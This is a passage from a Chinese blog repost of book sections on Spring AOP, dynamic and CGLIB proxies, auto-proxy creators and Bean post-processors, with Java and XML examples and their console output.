                  <prop key="hibernate.hbm2ddl.auto">update</prop>

             </props>

          </property>

    </bean>

    <!-- 使用JtaTransactionManager类,该类是PlatformTransactionManager接口,
            针对采用数据源连接的特定实现 -->

    <!-- JtaTransactionManager不需要知道数据源,或任何其他特定资源,

            因为使用容器的全局事务管理 -->

    <bean id="transactionManager"

           class="org.springframework.transaction.jta.
           JtaTransactionManager" />

</beans>

不论采用哪种持久层访问技术,只要使用JTA数据源,Spring事务管理器的配置都是一样的,因为它们都采用的是全局事务管理。

可以看到,仅仅通过配置文件的修改,就可以在不同的事务管理策略间切换,即使从局部事务到全局事务的切换。

提示:Spring所支持的事务策略非常灵活,Spring的事务策略允许应用程序在不同事务策略之间自由切换,即使需要在局部事务策略和全局事务策略之间切换,只需要修改配置文件,而应用程序的代码无须任何改变。这种灵活的设计,又何尝不是因为面向接口编程带来的优势,可见面向接口编程给应用程序更好的适应性。

posted @ 2009-07-19 10:18 jadmin 阅读(61) | 评论 (0)编辑 收藏

6.2.4 代理接口

当目标Bean的实现类实现了接口后,Spring AOP可以为其创建JDK动态代理,而无须使用CGLIB创建的代理,这种代理称为代理接口。

创建AOP代理必须指定两个属性:目标Bean和处理。实际上,很多AOP框架都以拦截器作为处理。因为Spring AOP与IoC容器的良好整合,因此配置代理Bean时,完全可以利用依赖注入来管理目标Bean和拦截器Bean。

下面的示例演示了基于AOP的权限认证,它是简单的TestService接口,该接口模拟Service组件,该组件内包含两个方法:

   ● 查看数据。

   ● 修改数据。

接口的源代码如下:

//Service组件接口

public interface TestService

{

    //查看数据

    void view();

    //修改数据

    void modify();

}

该接口的实现类实现两个方法。因为篇幅限制,本示例并未显示出完整的查看数据和修改数据的持久层操作,仅仅在控制台打印两行信息。实际的项目实现中,两个方法的实现则改成对持久层组件的调用,这不会影响示例程序的效果。实现类的源代码如下:

TestService接口的实现类

public class TestServiceImpl implements TestService

{

    //实现接口必须实现的方法

    public void view()

    {

        System.out.println("用户查看数据");

    }

    //实现接口必须实现的方法

    public void modify()

    {

        System.out.println("用户修改数据");

    }

}

示例程序采用Around 处理作为拦截器,拦截器中使用依赖注入获得当前用户名。实际Web应用中,用户应该从session中读取。这不会影响示例代码的效果。拦截器源代码如下:

public class AuthorityInterceptor implements MethodInterceptor

{

    //当前用户名

    private String user;

    //依赖注入所必需的setter方法

    public void setUser(String user)

    {

        this.user = user;

    }

    public Object invoke(MethodInvocation invocation) throws Throwable

    {

        //获取当前拦截的方法名

        String methodName = invocation.getMethod().getName();

        //下面执行权限检查

        //对既不是管理员,也不是注册用户的情况

        if (!user.equals("admin") && !user.equals("registedUser"))

        {

            System.out.println("您无权执行该方法");

            return null;

        }

        //对仅仅是注册用户,调用修改数据的情况

        else if (user.equals("registedUser") && methodName.equals
        ("modify"))

        {

            System.out.println("您不是管理员,无法修改数据");

            return null;

        }

        //对管理员或注册用户,查看数据的情况

        else

        {

            return invocation.proceed();

        }

    }

}

TestAction类依赖TestService。因篇幅关系,此处不给出TestAction的接口的源代码,TestActionImpl的源代码如下:

public class TestActionImpl

{

    //将TestService作为成员变量,面向接口编程

    private TestService ts;

    //依赖注入的setter方法

    public void setTs(TestService ts)

    {

        this.ts = ts;

    }

    //修改数据

    public void modify()

    {

        ts.modify();

    }

    //查看数据

    public void view()

    {

        ts.view();

    }

}

配置文件如下:

<?xml version="1.0" encoding="GBK"?>

<!-- 指定Spring配置文件的根元素,以及Spring配置文件的Schema信息 -->

<beans xmlns="http://www.springframework.org/schema/beans"

       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

       xsi:schemaLocation="http://www.springframework.org/schema/beans

       http://www.springframework.org/schema/beans/spring-beans.xsd">

    <!-- 配置目标Bean -->

    <bean id="serviceTarget" class="lee.TestServiceImpl"/>

    <!-- 配置拦截器,拦截器作为处理使用 -->

    <bean id="authorityInterceptor" class="lee.AuthorityInterceptor">

        <property name="user" value="admin"/>

    </bean>

    <!-- 配置代理工厂Bean,负责生成AOP代理 -->

    <bean id="service" class="org.springframework.aop.framework.
    ProxyFactoryBean">

        <!-- 指定AOP代理所实现的接口 -->

        <property name="proxyInterfaces" value="lee.TestService"/>

        <!-- 指定AOP代理所代理的目标Bean -->

        <property name="target" ref="serviceTarget"/>

        <!-- AOP代理所需要的拦截器列表 -->

        <property name="interceptorNames">

            <list>

                <value>authorityInterceptor</value>

            </list>

        </property>

    </bean>

    <!-- 配置Action Bean,该Action依赖TestService Bean -->

    <bean id="testAction" class="lee.TestActionImpl">

        <!-- 此处注入的是依赖代理Bean -->

        <property name="ts" ref="service"/>

    </bean>

</beans>

主程序请求testAction Bean,然后调用该Bean的两个方法,主程序如下:

public class BeanTest

{

    public static void main(String[] args)throws Exception

    {

        //创建Spring容器实例

        ApplicationContext ctx = new FileSystemXmlApplicationContext
        ("bean.xml");

        //获得TestAction bean

        TestAction ta = (TestAction)ctx.getBean("testAction");

        //调用bean的两个测试方法

        ta.view();

        ta.modify();

    }

}

程序执行结果如下:

[java] 用户查看数据

[java] 用户修改数据

代理似乎没有发挥任何作用。因为配置文件中的当前用户是admin,admin用户具备访问和修改数据的权限,因此代理并未阻止访问。将配置文件中的admin修改成registed- User,再次执行程序,得到如下结果:

[java] 用户查看数据

[java] 您不是管理员,无法修改数据

代理阻止了registedUser修改数据,查看数据可以执行。将registedUser修改成其他用户,执行程序,看到如下结果:

[java] 您无权执行该方法

[java] 您无权执行该方法

代理阻止用户对两个方法的执行。基于AOP的权限检查,可以降低程序的代码量,因为无须每次调用方法之前,手动编写权限检查代码;同时,权限检查与业务逻辑分离,提高了程序的解耦。

示例中的目标Bean被暴露在容器中,可以被客户端代码直接访问。为了避免客户端代码直接访问目标Bean,可以将目标Bean定义成代理工厂的嵌套Bean,修改后的配置文件如下:

<?xml version="1.0" encoding="GBK"?>

<!-- 指定Spring配置文件的根元素,以及Spring配置文件的Schema信息 -->

<beans xmlns="http://www.springframework.org/schema/beans"

       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

       xsi:schemaLocation="http://www.springframework.org/schema/beans

       http://www.springframework.org/schema/beans/spring-beans.xsd">

    <!-- 配置拦截器,拦截器作为处理使用 -->

    <bean id="authorityInterceptor" class="lee.AuthorityInterceptor">

        <property name="user" value="admin"/>

    </bean>

    <!-- 配置代理工厂Bean,该工厂Bean将负责创建目标Bean的代理 -->

    <bean id="service" class="org.springframework.aop.framework.
    ProxyFactoryBean">

        <!-- 指定AOP代理所实现的接口 -->

        <property name="proxyInterfaces" value="lee.TestService"/>

        <property name="target">

            <!-- 以嵌套Bean的形式定义目标Bean,避免客户端直接访问目标Bean -->

            <bean class="lee.TestServiceImpl"/>

        </property>

        <!-- AOP代理所需要的拦截器列表 -->

        <property name="interceptorNames">

            <list>

                <value>authorityInterceptor</value>

            </list>

        </property>

    </bean>

    <!-- 配置Action Bean,该Action依赖TestService Bean -->

    <bean id="testAction" class="lee.TestActionImpl">

        <!-- 此处注入的是依赖代理Bean -->

        <property name="ts" ref="service"/>

    </bean>

</beans>

由上面介绍的内容可见,Spring的AOP是对JDK动态代理模式的深化。通过Spring AOP组件,允许通过配置文件管理目标Bean和AOP所需的处理。

下面将继续介绍如何为没有实现接口的目标Bean创建CGLIB代理。

6.2.5 代理类

如果目标类没有实现接口,则无法创建JDK动态代理,只能创建CGLIB代理。如果需要没有实现接口的Bean实例生成代理,配置文件中应该修改如下两项:

   ● 去掉<property name="proxyInterfaces"/>声明。因为不再代理接口,因此,此处的配置没有意义。

   ● 增加<property name="proxyTargetClass">子元素,并设其值为true,通过该元素强制使用CGLIB代理,而不是JDK动态代理。

注意:最好面向接口编程,不要面向类编程。同时,即使在实现接口的情况下,也可强制使用CGLIB代理。

CGLIB代理在运行期间产生目标对象的子类,该子类通过装饰器设计模式加入到Advice中。因为CGLIB代理是目标对象的子类,则必须考虑保证如下两点:

   ● 目标类不能声明成final,因为final类不能被继承,无法生成代理。

   ● 目标方法也不能声明成final,final方法不能被重写,无法得到处理。

当然,为了需要使用CGLIB代理,应用中应添加CGLIB二进制Jar文件。

6.2.6 使用BeanNameAutoProxyCreator自动创建代理

这是一种自动创建事务代理的方式,一旦在容器中配置了BeanNameAutoProxyCreator实例,该实例将会对指定名字的Bean实例自动创建代理。实际上,BeanNameAutoProxyCreator是一个Bean后处理器,理论上它会对容器中所有的Bean进行处理,实际上它只对指定名字的Bean实例创建代理。

BeanNameAutoProxyCreator根据名字自动生成事务代理,名字匹配支持通配符。

与ProxyFactoryBean一样,BeanNameAutoProxyCreator需要一个interceptorNames属性,该属性名虽然是“拦截器”,但并不需要指定拦截器列表,它可以是Advisor或任何处理类型。

下面是使用BeanNameAutoProxyCreator的配置片段:

<!-- 定义事务拦截器bean -->

<bean id="transactionInterceptor"

    class="org.springframework.transaction.interceptor.
    TransactionInterceptor">

    <!-- 事务拦截器bean需要依赖注入一个事务管理器 -->

    <property name="transactionManager" ref="transactionManager"/>

    <property name="transactionAttributes">

        <!-- 下面定义事务传播属性 -->

        <props>

            <prop key="insert*">PROPAGATION_REQUIRED </prop>

            <prop key="find*">PROPAGATION_REQUIRED,readOnly</prop>

            <prop key="*">PROPAGATION_REQUIRED</prop>

        </props>

    </property>

    </bean>

<!-- 定义BeanNameAutoProxyCreator Bean,它是一个Bean后处理器,

        负责为容器中特定的Bean创建AOP代理 -->

<bean class="org.springframework.aop.framework.autoproxy.
    BeanNameAutoProxyCreator">

    <!-- 指定对满足哪些bean name的bean自动生成业务代理 -->

    <property name="beanNames">

        <list>

            <!-- 下面是所有需要自动创建事务代理的Bean -->

            <value>core-services-applicationControllerSevice</value>

            <value>core-services-deviceService</value>

            <value>core-services-authenticationService</value>

            <value>core-services-packagingMessageHandler</value>

            <value>core-services-sendEmail</value>

            <value>core-services-userService</value>

            <!-- 此处可增加其他需要自动创建事务代理的Bean -->

        </list>

    </property>

    <!-- 下面定义BeanNameAutoProxyCreator所需的拦截器 -->

    <property name="interceptorNames">

        <list>

            <value>transactionInterceptor</value>

            <!-- 此处可增加其他新的Interceptor -->

        </list>

    </property>

</bean>

上面的片段是使用BeanNameAutoProxyCreator自动创建事务代理的片段。Transaction- Interceptor用来定义事务拦截器,定义事务拦截器时传入事务管理器Bean,也指定事务传播属性。

通过BeanNameAutoProxyCreator定义Bean后处理器,定义该Bean后处理器时,通过beanNames属性指定有哪些目标Bean生成事务代理;还需要指定“拦截器链”,该拦截器链可以由任何处理组成。

定义目标Bean还可使用通配符,使用通配符的配置片段如下所示:

<!-- 定义BeanNameAutoProxyCreator Bean,它是一个Bean后处理器,

        负责为容器中特定的Bean创建AOP代理 -->

<bean class="org.springframework.aop.framework.autoproxy.
BeanNameAutoProxyCreator">

    <!-- 指定对满足哪些bean name的bean自动生成业务代理 -->

    <property name="beanNames">

        <!-- 此处使用通配符确定目标bean -->

        <value>*DAO,*Service,*Manager</value>

    </property>

    <!-- 下面定义BeanNameAutoProxyCreator所需的事务拦截器 -->

    <property name="interceptorNames">

        <list>

            <value>transactionInterceptor</value>

            <!-- 此处可增加其他新的Interceptor -->

        </list>

    </property>

</bean>

上面的配置片段中,所有名字以DAO、Service、Manager结尾的bean,将由该“bean后处理器”为其创建事务代理。目标bean不再存在,取而代之的是目标bean的事务代理。通过这种方式,不仅可以极大地降低配置文件的繁琐,而且可以避免客户端代码直接调用目标bean。

注意:虽然上面的配置片段是为目标对象自动生成事务代理。但这不是唯一的,如果有需要,可以为目标对象生成任何的代理。BeanNameAutoProxyCreator为目标对象生成怎样的代理,取决于传入怎样的处理Bean,如果传入事务拦截器,则生成事务代理Bean;否则将生成其他代理,在后面的实例部分,读者将可以看到大量使用BeanNameAutoProxy- Creator创建的权限检查代理。

6.2.7 使用DefaultAdvisorAutoProxyCreator自动创建代理

Spring还提供了另一个Bean后处理器,它也可为容器中的Bean自动创建代理。相比之下,DefaultAdvisorAutoProxyCreator是更通用、更强大的自动代理生成器。它将自动应用于当前容器中的advisor,不需要在DefaultAdvisorAutoProxyCreator定义中指定目标Bean的名字字符串。

这种定义方式有助于配置的一致性,避免在自动代理创建器中重复配置目标Bean 名。

使用该机制包括:

   ● 配置DefaultAdvisorAutoProxyCreator bean定义。

   ● 配置任何数目的Advisor,必须是Advisor,不仅仅是拦截器或其他处理。因为,必须使用切入点检查处理是否符合候选Bean定义。

DefaultAdvisorAutoProxyCreator计算Advisor包含的切入点,检查处理是否应该被应用到业务对象,这意味着任何数目的Advisor都可自动应用到业务对象。如果Advisor中没有切入点符合业务对象的方法,这个对象就不会被代理。如果增加了新的业务对象,只要它们符合切入点定义,DefaultAdvisorAutoProxyCreator将自动为其生成代理,无须额外   配置。

当有大量的业务对象需要采用相同处理,DefaultAdvisorAutoProxyCreator是非常有用的。一旦定义恰当,直接增加业务对象,而不需要额外的代理配置,系统自动为其增加     代理。

<beans>

    <!-- 定义Hibernate局部事务管理器,可切换到JTA全局事务管理器 -->

    <bean id="transactionManager"

         class="org.springframework.orm.hibernate3.
        HibernateTransactionManager">

        <!-- 定义事务管理器时,依赖注入SessionFactory -->

         <property name="sessionFactory" ref bean="sessionFactory"/>

    </bean>

    <!-- 定义事务拦截器 -->

    <bean id="transactionInterceptor"

        class="org.springframework.transaction.interceptor.
        TransactionInterceptor">

         <property name="transactionManager" ref="transactionManager"/>

         <property name="transactionAttributeSource">

            <props>

                <prop key="*">PROPAGATION_REQUIRED</prop>

                  <prop key="find*">PROPAGATION_REQUIRED,readOnly</prop>

            </props>

        </property>

    </bean>

    <!-- 定义DefaultAdvisorAutoProxyCreator Bean,这是一个Bean后处理器 -->

    <bean class="org.springframework.aop.framework.autoproxy.
    DefaultAdvisorAutoProxyCreator"/>

    <!-- 定义事务Advisor -->

    <bean class="org.springframework.transaction.interceptor.
    TransactionAttributeSourceAdvisor">

         <property name="transactionInterceptor" ref=
        "transactionInterceptor"/>

    </bean>

    <!-- 定义额外的Advisor>

    <bean id="customAdvisor" class="lee.MyAdvisor"/>

</beans>

DefaultAdvisorAutoProxyCreator支持过滤和排序。如果需要排序,可让Advisor实现org.springframework.core.Ordered接口来确定顺序。TransactionAttributeSourceAdvisor已经实现Ordered接口,因此可配置其顺序,默认是不排序。

采用这样的方式,一样可以避免客户端代码直接访问目标Bean,而且配置更加简洁。只要目标Bean符合切入点检查,Bean后处理器自动为目标Bean创建代理,无须依次指定目标Bean名。

注意:Spring也支持以编程方式创建AOP代理,但这种方式将AOP代理所需要的目标对象和处理Bean等对象的耦合降低到代码层次,因此不推荐使用。如果读者需要深入了解如何通过编程方式创建AOP代理,请参阅笔者所著的《Spring2.0宝典》。

posted @ 2009-07-19 10:16 jadmin 阅读(89) | 评论 (0)编辑 收藏

6.2 Spring的AOP

AOP(Aspect Orient Programming),也就是面向切面编程,作为面向对象编程的一种补充。问世的时间并不太长,甚至在国内的翻译还不太统一(有些书翻译成面向方面编程),但它确实极好地补充了面向对象编程的方式。面向对象编程将程序分解成各个层次的对象,而面向切面编程将程序运行过程分解成各个切面。

可以这样理解,面向对象编程是从静态角度考虑程序结构,面向切面编程是从动态角度考虑程序运行过程。

Spring AOP是Spring框架的一个重要组件,极好地补充了Spring IoC容器的功能。Spring AOP将Spring IoC容器与AOP组件紧密结合,丰富了IoC容器的功能。当然,即使不使用AOP组件,依然可以使用Spring的IoC容器。

6.2.1 AOP的基本概念

AOP从程序运行角度考虑程序的流程,提取业务处理过程的切面。AOP面向的是程序运行中各个步骤,希望以更好的方式来组合业务处理的各个步骤。

AOP框架并不与特定的代码耦合,AOP框架能处理程序执行中的特定点,而不是某个具体的程序。AOP框架具有如下两个特征:

   ● 各步骤之间的良好隔离性。

   ● 源代码无关性。

下面是关于面向切面编程的一些术语:

   ● 切面,业务流程运行的某个特定步骤,就是运行过程的关注点,关注点可能横切多个对象。

   ● 连接点,程序执行过程中明确的点,如方法的调用或异常的抛出。Spring AOP中,连接点总是方法的调用,Spring并没有显式地使用连接点。

   ● 处理(Advice),AOP框架在特定的连接点执行的动作。处理有around、before和throws等类型。大部分框架都以拦截器作为处理模型。

   ● 切入点,系列连接点的集合,它确定处理触发的时机。AOP框架允许开发者自己定义切入点,如使用正则表达式。

   ● 引入,添加方法或字段到被处理的类。Spring允许引入新的接口到任何被处理的对象。例如,可以使用一个引入,使任何对象实现IsModified接口,以此来简化缓存。

   ● 目标对象,包含连接点的对象。也称为被处理对象或被代理对象。

   ● AOP代理,AOP框架创建的对象,包含处理。简单地说,代理就是对目标对象的加强。Spring中的AOP代理可以是JDK动态代理,也可以是CGLIB代理。前者为实现接口的目标对象的代理,后者为不实现接口的目标对象的代理。

注意:面向切面编程是比较前沿的知识,而国内大部分翻译人士翻译计算机文献时,总是一边开着各种词典和翻译软件,一边逐词去看文献,不是先从总体上把握知识的架构。因此,难免导致一些术语的翻译词不达意,例如,Socket被翻译成“套接字”等。在面向切面编程的各术语翻译上,也存在较大的差异。对于Advice一词,有翻译为“通知”的,有翻译为“建议”的,如此种种,不一而足。实际上,Advice指AOP框架在特定切面所做的事情,故而笔者翻译为“处理”,希望可以表达Advice的真正含义。

6.2.2 AOP的代理

所谓AOP代理,就是AOP框架动态创建的对象,这个对象通常可以作为目标对象的替代品,而AOP代理提供比目标对象更加强大的功能。真实的情形是,当应用调用AOP代理的方法时,AOP代理会在自己的方法中回调目标对象的方法,从而完成应用的调用。

关于AOP代理的典型例子就是Spring中的事务代理Bean。通常,目标Bean的方法不是事务性的,而AOP代理包含目标Bean的全部方法,而且这些方法经过加强变成了事务性方法。简单地说,目标对象是蓝本,AOP代理是目标对象的加强,在目标对象的基础上,增加属性和方法,提供更强大的功能。

目标对象包含一系列切入点。切入点可以触发处理连接点集合。用户可以自己定义切入点,如使用正则表达式。AOP代理包装目标对象,在切入点处加入处理。在切入点加入的处理,使得目标对象的方法功能更强。

Spring默认使用JDK动态代理实现AOP代理,主要用于代理接口。也可以使用CGLIB代理。实现类的代理,而不是接口。如果业务对象没有实现接口,默认使用CGLIB代理。但面向接口编程是良好的习惯,尽量不要面向具体类编程。因此,业务对象通常应实现一个或多个接口。

下面是一个简单动态代理模式的示例,首先有一个Dog的接口,接口如下:

public interface Dog

{

    //info方法声明

    public void info();

    //run方法声明

    public void run();

}

然后,给出该接口的实现类,实现类必须实现两个方法,源代码如下:

public class DogImpl implements Dog

{

    //info方法实现,仅仅打印一个字符串

    public void info()

    {

        System.out.println("我是一只猎狗");

    }

    //run方法实现,仅仅打印一个字符串

    public void run()

    {

        System.out.println("我奔跑迅速");

    }

}

上面的代码没有丝毫独特之处,是典型的面向接口编程的模型,为了有更好的解耦,采用工厂来创建Dog实例。工厂源代码如下:

public class DogFactory

{

    //工厂本身是单态模式,因此,将DogFactory作为静态成员变量保存

    private static DogFactory df;

    //将Dog实例缓存

    private Dog gundog;

    //默认的构造器,单态模式需要的构造器是private

    private DogFactory()

    {

    }

    //单态模式所需的静态方法,该方法是创建本类实例的唯一方法点

    public static DogFactory instance()

    {

        if (df == null)

        {

            df = new DogFactory();

        }

        return df;

    }

    //获得Dog实例

    public Dog getDog(String dogName)

    {

        //根据字符串参数决定返回的实例

        if (dogName.equals("gundog"))

        {

            //返回Dog实例之前,先判断缓存的Dog是否存在,如果不存在才创建,

            否则直接返回缓存的Dog实例

            if (gundog == null )

            {

                gundog = new DogImpl();

            }

            return gundog;

         }

        return null;

    }

}

下面是一个通用的处理类,该处理类没有与任何特定的类耦合,它可以处理所有的目标对象。从JDK 1.3起,Java的import java.lang.reflect下增加InvocationHandler接口,该接口是所有处理类的根接口。

该类处理类的源代码如下:

public class ProxyHandler implements InvocationHandler

{

    //需被代理的目标对象

    private Object target;

    //执行代理的目标方法时,该invoke方法会被自动调用

    public Object invoke(Object proxy, Method method, Object[] args)throws
    Exception

    {

        Object result = null;

        if (method.getName().equals("info"))

        {

            System.out.println("======开始事务...");

            result =method.invoke(target, args);

            System.out.println("======提交事务...");

        }

        else

        {

            result =method.invoke(target, args);

        }

        return result;

    }

    //通过该方法,设置目标对象

    public void setTarget(Object o)

    {

        this.target = o;

    }

}

该处理类实现InvocationHandler接口,实现该接口必须实现invoke(Object proxy, Method method, Object[] args)方法,程序调用代理的目标方法时,自动变成调用invoke方法。

该处理类并未与任何接口或类耦合,它完全是通用的,它的目标实例是Object类型,可以是任何的类型。

在invoke方法内,对目标对象的info方法进行简单加强,在开始执行目标对象的方法之前,先打印开始事务,执行目标对象的方法之后,打印提交事务。

通过method对象的invoke方法,可以完成目标对象的方法调用,执行代码如下:

result =method.invoke(target, args);

下面是代理工厂:

public class MyProxyFactory

{

    /**

      * 实例Service对象

     * @param serviceName String

     * @return Object

     */

    public static Object getProxy(Object object)

    {

       //代理的处理类

        ProxyHandler handler = new ProxyHandler();

       //把该dog实例托付给代理操作

        handler.setTarget(object);

        //第一个参数是用来创建动态代理的ClassLoader对象,只要该对象能访问Dog接口
        即可

        //第二个参数是接口数组,正是代理该接口数组

        //第三个参数是代理包含的处理实例

        return Proxy.newProxyInstance(DogImpl.class.getClassLoader(),

            object.getClass().getInterfaces(),handler);

    }

}

代理工厂里有一行代码:

Proxy.newProxyInstance(object.getClass().getClassLoader(),object.getClass().getInterfaces(),handler);

Proxy.newProxyInstance()方法根据接口数组动态创建代理类实例,接口数组通过object.getClass().getInterfaces()方法获得,创建的代理类是JVM在内存中动态创建的,该类实现传入接口数组的全部接口。

因此,Dynamic Proxy要求被代理的必须是接口的实现类,否则无法为其构造相应的动态类。因此,Spring对接口实现类采用Dynamic Proxy实现AOP,而对没有实现任何接口的类,则通过CGLIB实现AOP代理。

下面是主程序:

public class TestDog

{

    public static void main(String[] args)

    {

        Dog dog = null;

        //创建Dog实例,该实例将作为被代理对象

        Dog targetObject = DogFactory.instance().getDog("gundog");

        //以目标对象创建代理

        Object proxy = MyProxyFactory.getProxy(targetObject);

        if (proxy instanceof Dog)

        {

            dog = (Dog)proxy;

        }

        //测试代理的方法

        dog.info();

        dog.run();

    }

}

代理实例会实现目标对象实现的全部接口。因此,代理实例也实现了Dog接口,程序运行结果如下:

[java] ======开始事务...

[java] 我是一只猎狗

[java] ======提交事务...

[java] 我奔跑迅速

代理实例加强了目标对象的方法——仅仅打印了两行字符串。当然,此种加强没有实际意义。试想一下,若程序中打印字符串的地方,换成真实的事务开始和事务提交,则代理实例的方法为目标对象的方法增加了事务性。

6.2.3 创建AOP代理

通过前面的介绍,AOP代理就是由AOP框架动态生成的一个对象,该对象可作为目标对象使用,AOP代理包含了目标对象的全部方法。但AOP代理中的方法与目标对象的方法存在差异:AOP方法在特定切面插入处理,在处理之间回调目标对象的方法。

AOP代理所包含的方法与目标对象所包含的方法的示意图,如图6.1所示。

文本框:图6.1  AOP代理的方法与目标对象的方法Spring中AOP代理由Spring的IoC容器负责生成和管理,其依赖关系也由IoC容器负责管理。因此,AOP代理能够引用容器中的其他Bean实例,这种引用由IoC容器的依赖注入提供。

Spring的AOP代理大都由ProxyFactoryBean工厂类产生,如图6.1所示,产生一个AOP代理至少有两个部分:目标对象和AOP框架所加入的处理。因此,配置ProxyFactoryBean时需要确定如下两个属性:

   ● 代理的目标对象。

   ● 处理(Advice)。

注意:关于Advice的更多知识,此处由于篇幅原因,无法深入讨论。实际上,Spring也提供了很多种Advice的实现,如需要更深入了解Spring AOP,请读者参考笔者所著的《Spring2.0宝典》。

所有代理工厂类的父类是org.springframework.aop.framework.ProxyConfig。因此,该类的属性是所有代理工厂的共同属性,这些属性也是非常关键的,包括:

   ● proxyTargetClass,确定是否代理目标类,如果需要代理目标是类,该属性设为true,此时需要使用CGLIB生成代理;如果代理目标是接口,该属性设为false,默认是false。

   ● optimize,确定是否使用强优化来创建代理。该属性仅对CGLIB代理有效;对JDK 动态代理无效。

   ● frozen,确定是否禁止改变处理,默认是false。

   ● exposeProxy,代理是否可以通过ThreadLocal访问,如果exposeProxy属性为true,则可通过AopContext.currentProxy()方法获得代理。

   ● aopProxyFactory,所使用的AopProxyFactory具体实现。该参数用来指定使用动态代理、CGLIB或其他代理策略。默认选择动态代理或CGLIB。一般不需要指定该属性,除非需要使用新的代理类型,才指定该属性。

配置ProxyFactoryBean工厂bean时,还需要指定它的特定属性,ProxyFactoryBean的特定属性如下所示:

   ● proxyInterfaces,接口名的字符串数组。如果没有确定该参数,默认使用CGLIB代理。

   ● interceptorNames,处理名的字符串数组。此处的次序很重要,排在前面的处理,优先被调用。此处的处理名,只能是当前工厂中处理的名称,而不能使用bean引用。处理名字支持使用通配符(*)。

   ● singleton,工厂是否返回单态代理。默认是true,无论 getObject()被调用多少次,将返回相同的代理实例。如果需要使用有状态的处理——例如,有状态的mixin,可改变默认设置,prototype处理。

posted @ 2009-07-19 10:15 jadmin 阅读(63) | 评论 (0)编辑 收藏

6.1 两种后处理器

Spring 框架提供了很好的扩展性,除了可以与各种第三方框架良好整合外,其IoC容器也允许开发者进行扩展。这种扩展并不是通过实现BeanFactory或ApplicationContext的子类,而是通过两个后处理器对IoC容器进行扩展。Spring提供了两种常用的后处理器:

   ● Bean后处理器,这种后处理器会对容器中特定的Bean进行定制,例如功能的    加强。

   ● 容器后处理器,这种后处理器对IoC容器进行特定的后处理。

下面将介绍这两种常用的后处理器以及两种后处理器相关知识。

6.1.1 Bean后处理器

Bean后处理器是一种特殊的Bean,这种特殊的Bean并不对外提供服务,它无须id属性,但它负责对容器中的其他Bean执行后处理,例如为容器中的目标Bean生成代理。这种Bean可称为Bean后处理器,它在Bean实例创建成功后,对其进行进一步的加强     处理。

Bean后处理器必须实现BeanPostProcessor接口。

BeanPostProcessor接口包含两个方法:

   ● Object postProcessBeforeInitialization(Object bean, String name)throws BeansExce- ption,该方法的第一个参数是系统即将初始化的Bean实例,第二个参数是Bean实例的名字。

   ● Object postProcessAfterInitialization(Object bean, String name)throws BeansExce- ption,该方法的第一个参数是系统刚完成初始化的Bean实例,第二个参数是Bean实例的名字。

实现该接口的Bean必须实现这两个方法,这两个方法会对容器的Bean进行后处理。两个方法会在目标Bean初始化之前和初始化之后分别调用。这两个方法用于对系统完成的默认初始化进行加强。

注意:Bean后处理器是对IoC容器一种极好的扩展,Bean后处理器可以对容器中的Bean进行后处理,这种后处理完全由开发者决定。

下面将定义一个简单的Bean后处理器,该Bean后处理器将对容器中其他Bean进行后处理。Bean后处理器的代码如下:

//自定义Bean后处理器,负责后处理容器中所有的Bean

public class MyBeanPostProcessor implements BeanPostProcessor

{

    //在初始化bean之前,调用该方法

    public Object postProcessBeforeInitialization(Object bean , String
    beanName)throws BeansException

    {

        //仅仅打印一行字符串

        System.out.println("系统正在准备对" + beanName + "进行初始化...");

        return bean;

    }

    //在初始化bean之后,调用该方法

    public Object postProcessAfterInitialization(Object bean , String
    beanName)throws BeansException

    {

        System.out.println("系统已经完成对" + beanName + "的初始化");

        //如果系统刚完成初始化的bean是Chinese

        if (bean instanceof Chinese)

        {

            //为Chinese实例设置name属性

            Chinese c = (Chinese)bean;

            c.setName("wawa");

         }

        return bean;

    }

}

下面是Chinese的源代码,该类实现了InitializingBean接口,还额外提供了一个初始化方法,这两个方法都由Spring容器控制回调。

public class Chinese implements Person,InitializingBean

{

    private Axe axe;

    private String name;

    public Chinese()

    {

        System.out.println("Spring实例化主调bean:Chinese实例...");

    }

    public void setAxe(Axe axe)

    {

        System.out.println("Spring执行依赖关系注入...");

        this.axe = axe;

    }

    public void setName(String name)

    {

        this.name = name;

    }

    public void useAxe()

    {

        System.out.println(name + axe.chop());

    }

    public void init()

    {

        System.out.println("正在执行初始化方法   init...");

    }

   public void afterPropertiesSet() throws Exception

    {

       System.out.println("正在执行初始化方法 afterPropertiesSet...");

    }

}

配置文件如下:

<?xml version="1.0" encoding="gb2312"?>

<!-- 指定Spring 配置文件的dtd>

<!DOCTYPE beans PUBLIC "-//SPRING//DTD BEAN//EN"

    "http://www.springframework.org/dtd/spring-beans.dtd">

<!-- Spring配置文件的根元素 -->

<beans>

    <!-- 配置bean后处理器,可以没有id属性,此处id属性为了后面引用 -->

    <bean id="beanPostProcessor" class="lee.MyBeanPostProcessor"/>

    <bean id="steelAxe" class="lee.SteelAxe"/>

    <bean id="chinese" class="lee.Chinese" init-method="init">

        <property name="axe" ref="steelAxe"/>

    </bean>

</beans>

本应用的chinese具有两个初始化方法:

   ● init-method指定初始化方法。

   ● 实现InitializingBean接口,提供了afterPropertiesSet初始化方法。

MyBeanPostProcessor类实现了BeanPostProcessor接口,并实现了该接口的两个方法,这两个方法分别在初始化方法调用之前和之后得到回调。

注意:上面的配置文件配置Bean后处理器时,依然为Bean处理器指定了id属性,指定id属性是为了方便程序通过该id属性访问Bean后处理器。大部分时候,程序无须手动访问该Bean后处理器,因此无须为其指定id属性。

主程序如下:

public class BeanTest

{

    public static void main(String[] args)throws Exception

    {

        //CLASSPATH路径下的bean.xml文件创建Resource对象

        ClassPathResource isr = new ClassPathResource("bean.xml");

        //以Resource对象作为参数,创建BeanFactory的实例

        XmlBeanFactory factory = new XmlBeanFactory(isr);

        //获取Bean后处理器实例

        MyBeanPostProcessor beanProcessor =

            (MyBeanPostProcessor)factory.getBean("beanPostProcessor");

        //注册BeanPostProcessor实例

        factory.addBeanPostProcessor(beanProcessor);

        System.out.println("程序已经实例化BeanFactory...");

        Person p = (Person)factory.getBean("chinese");

        System.out.println("程序中已经完成了chinese bean的实例化...");

        p.useAxe();

    }

}

如果使用BeanFactory作为Spring容器,必须手动注册Bean后处理器,因此在程序中先获取Bean后处理器实例,然后手动注册——这就是在配置文件中指定Bean后处理器id属性的原因。通过BeanFactory的addBeanPostProcessor可以注册BeanPostProcessor实例。程序执行结果如下:

[java] 程序已经实例化BeanFactory...

[java] Spring实例化主调bean:Chinese实例...

[java] Spring实例化依赖bean:SteelAxe实例...

[java] 系统正在准备对steelAxe进行初始化...

